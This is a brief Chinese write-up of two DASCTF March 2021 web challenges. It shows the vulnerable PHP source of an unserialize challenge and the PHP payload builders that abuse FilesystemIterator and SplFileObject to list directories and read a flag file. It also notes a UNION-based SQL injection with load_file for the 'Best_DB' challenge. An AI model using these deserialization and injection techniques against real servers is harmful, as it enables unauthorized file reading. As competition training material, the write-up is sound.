Mar Dasctf web

参考大佬http://www.plasf.cn/articles/dasctf202103.html
ez_serialize

  <?php
error_reporting(0);
highlight_file(__FILE__);

class A{
    public $class;
    public $para;
    public $check;
    public function __construct()
    {
        $this->class = "B";
        $this->para = "ctfer";
        echo new  $this->class ($this->para);
    }
    public function __wakeup()
    {
        $this->check = new C;
        if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
            echo new  $this->class ($this->para);
        }
        else
            die('bad hacker~');
    }

}
class B{
    var $a;
    public function __construct($a)
    {
        $this->a = $a;
        echo ("hello ".$this->a);
    }
}
class C{

    function vaild($code){
        $pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
        if (preg_match($pattern, $code)){
            return false;
        }
        else
            return true;
    }
}


if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
else{
    $a=new A;

} 

这里当时也想到用php内置类，可是不知道用哪个
大佬博客有写
DirectoryIterator 遍历目录
FilesystemIterator 遍历目录
GlobIterator 遍历目录，但是不同的点在于它可以通配例如/var/html/www/flag*
SplFileObject 读取文件，按行读取，多行需要遍历
finfo/finfo_open() 需要两个参数
所以构造

<?php
class A{
    public $class='FilesystemIterator';
    public $para="/var/www/html";
    public $check;
    }
$o  = new A();
echo serialize($o);

遍历目录

<?php
class A{
    public $class='SplFileObject';
    public $para="/var/www/html/aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";
    public $check;
    }

$o  = new A();
echo serialize($o);

读flag

Best_DB
只过滤了单引号和空格，很容易绕过，union注入用load_file读文件
这里当时给的提示是flag.txt但要读/flag 比较坑

baby_flask